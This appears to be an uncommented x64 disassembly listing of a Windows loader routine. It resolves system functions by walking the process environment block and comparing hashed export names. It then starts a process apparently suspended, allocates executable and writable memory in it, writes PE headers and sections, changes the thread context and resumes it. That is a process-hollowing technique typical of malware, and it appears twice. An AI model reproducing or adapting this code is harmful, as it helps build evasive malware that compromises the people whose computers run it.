lea rcx, [rbp - 0x44]
call fcn.1400894d0
mov rcx, rax
call fcn.14008aed0
mov rcx, rax
call fcn.140013de0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x43]
call fcn.140089660
mov rcx, rax
call fcn.14008ae80
lea rdx, [rbx + 0x2a]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x42]
call fcn.140089700
mov rcx, rax
call fcn.14008ae60
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x6d0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x140070a2c
lea rcx, [rbp - 0x41]
call fcn.140089760
mov rcx, rax
call fcn.14008ae00
mov rcx, rax
call fcn.140013de0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x40]
call fcn.140089880
mov rcx, rax
call fcn.14008adb0
lea rdx, [rbx + 0x2b]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x3f]
call fcn.140089920
mov rcx, rax
call fcn.14008ad90
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x6e0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x140070abf
lea rcx, [rbp - 0x3e]
call fcn.140089980
mov rcx, rax
call fcn.14008ad40
mov rcx, rax
call fcn.140013de0
call fcn.14003c9a0
call fcn.14003c9a0
call fcn.14003c9a0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x3d]
call fcn.140089ac0
mov rcx, rax
call fcn.14008acf0
lea rdx, [rbx + 0x2c]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x3c]
call fcn.140089b60
mov rcx, rax
call fcn.14008acd0
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x6f0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x140070b61
lea rcx, [rbp - 0x3b]
call fcn.140089bc0
mov rcx, rax
call fcn.14008ac70
mov rcx, rax
call fcn.140013de0
call fcn.14003c9a0
call fcn.14003c9a0
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x1e0]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x3a]
call fcn.140089c90
mov rcx, rax
call fcn.14008ac20
mov rdx, rbx
mov rcx, rax
call fcn.14003ae70
test al, al
je 0x140073dc4
mov rax, qword [0x140214480]
cmp byte [rax + 0x29], 1
jne 0x14007166c
lea rcx, [rbp + 0x2b38]
call fcn.140090c70
nop
lea rcx, [rbp - 0x39]
call fcn.140089d50
mov rcx, rax
call fcn.14008abf0
mov rdx, rax
lea rcx, [rbp + 0x2b38]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x28f8]
call fcn.140062500
lea rdx, [rbp + 0x2b38]
lea rcx, [rbp + 0x1728]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x28f8]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x28f8]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25b0], xmm0
mov qword [rbp + 0x25c0], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2d50], xmm1
movups xmmword [rbp + 0x2d60], xmm1
movups xmmword [rbp + 0x2d70], xmm1
movups xmmword [rbp + 0x2d80], xmm1
movups xmmword [rbp + 0x2d90], xmm1
movups xmmword [rbp + 0x2da0], xmm1
mov qword [rbp + 0x2db0], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x14007164c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070d26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070d26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x15e5596e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070d21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070d00
cmp r8d, 0x4cf24366
je 0x140070d2b
test r9d, r9d
jne 0x140070ce0
mov rax, qword [rax]
jmp 0x140070cb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x43e0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140070de6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070de6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xc53801ff
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070de1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070dc0
cmp r8d, 0x549b3a4f
je 0x140070deb
test r9d, r9d
jne 0x140070da0
mov rax, qword [rax]
jmp 0x140070d70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x25b0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2d50]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x43e0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007164c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140070ed6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070ed6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xff96708c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070ed1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070eb0
cmp r8d, 0x7aa6eed4
je 0x140070edb
test r9d, r9d
jne 0x140070e90
mov rax, qword [rax]
jmp 0x140070e60
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070fa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070fa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x260120be
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140070fa1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140070f80
cmp r8d, 0x5598e339
je 0x140070fab
test r9d, r9d
jne 0x140070f60
mov rcx, qword [rcx]
jmp 0x140070f30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x25b8]
call r8
test eax, eax
je 0x1400714eb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071066
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071066
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xc7065f30
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071061
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071040
cmp r8d, 0x82213965
je 0x14007106b
test r9d, r9d
jne 0x140071020
mov rax, qword [rax]
jmp 0x140070ff0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x25b0]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x1f4e43cc
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140071131
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140071110
cmp r8d, 0xc1551c13
je 0x14007113b
test r9d, r9d
jne 0x1400710f0
mov rcx, qword [rcx]
jmp 0x1400710c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x25b0]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x14007136d
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071226
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071226
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xb9a790e7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071221
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071200
cmp r8d, 0xc4570830
je 0x14007122b
test r9d, r9d
jne 0x1400711e0
mov rax, qword [rax]
jmp 0x1400711b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x25b0]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071306
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071306
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x4ae35882
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071301
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400712e0
cmp r8d, 0x231ef24d
je 0x14007130b
test r9d, r9d
jne 0x1400712c0
mov rax, qword [rax]
jmp 0x140071290
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, r13
mov rcx, qword [rbp + 0x25b0]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x140071190
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071406
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071406
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x41760ca5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071401
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400713e0
cmp r8d, 0xb44a50b2
je 0x14007140b
test r9d, r9d
jne 0x1400713c0
mov rax, qword [rax]
jmp 0x140071390
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x25b8]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400714c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400714c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xd0c5b0d1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400714c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400714a0
cmp r8d, 0x845825c2
je 0x1400714cb
test r9d, r9d
jne 0x140071480
mov rax, qword [rax]
jmp 0x140071450
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25b8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071576
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071576
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc65884b1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071571
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071550
cmp r8d, 0x26882a91
je 0x14007157b
test r9d, r9d
jne 0x140071530
mov rax, qword [rax]
jmp 0x140071500
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25b0]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071626
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071626
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x350d5a8d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071621
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071600
cmp r8d, 0x5ca0cd4d
je 0x14007162b
test r9d, r9d
jne 0x1400715e0
mov rax, qword [rax]
jmp 0x1400715b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25b8]
call rdx
nop
lea rcx, [rbp + 0x28f8]
call fcn.140090180
nop
lea rcx, [rbp + 0x2b38]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2a], 1
jne 0x14007212c
lea rcx, [rbp + 0x2b78]
call fcn.140090c70
nop
lea rcx, [rbp - 0x38]
call fcn.140089db0
mov rcx, rax
call fcn.14008abc0
mov rdx, rax
lea rcx, [rbp + 0x2b78]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x28e0]
call fcn.140062500
lea rdx, [rbp + 0x2b78]
lea rcx, [rbp + 0x16e8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x28e0]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x28e0]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25c8], xmm0
mov qword [rbp + 0x25d8], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2dc0], xmm1
movups xmmword [rbp + 0x2dd0], xmm1
movups xmmword [rbp + 0x2de0], xmm1
movups xmmword [rbp + 0x2df0], xmm1
movups xmmword [rbp + 0x2e00], xmm1
movups xmmword [rbp + 0x2e10], xmm1
mov qword [rbp + 0x2e20], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x14007210c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400717e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400717e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6c6f4495
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400717e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400717c0
cmp r8d, 0x7fc47c0d
je 0x1400717eb
test r9d, r9d
jne 0x1400717a0
mov rax, qword [rax]
jmp 0x140071770
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x44f0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400718a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400718a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xeb2dd7d4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400718a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071880
cmp r8d, 0xb40107b4
je 0x1400718ab
test r9d, r9d
jne 0x140071860
mov rax, qword [rax]
jmp 0x140071830
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x25c8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2dc0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x44f0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007210c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071996
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071996
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x33d60e2f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071991
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071970
cmp r8d, 0x16a83bcb
je 0x14007199b
test r9d, r9d
jne 0x140071950
mov rax, qword [rax]
jmp 0x140071920
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071a66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071a66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x2e99cef9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140071a61
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140071a40
cmp r8d, 0x591ba17a
je 0x140071a6b
test r9d, r9d
jne 0x140071a20
mov rcx, qword [rcx]
jmp 0x1400719f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x25d0]
call r8
test eax, eax
je 0x140071fab
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071b26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071b26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xe625d69d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071b21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071b00
cmp r8d, 0xdaba8954
je 0x140071b2b
test r9d, r9d
jne 0x140071ae0
mov rax, qword [rax]
jmp 0x140071ab0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x25c8]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071bf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071bf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x848643b5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140071bf1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140071bd0
cmp r8d, 0xffe84f7a
je 0x140071bfb
test r9d, r9d
jne 0x140071bb0
mov rcx, qword [rcx]
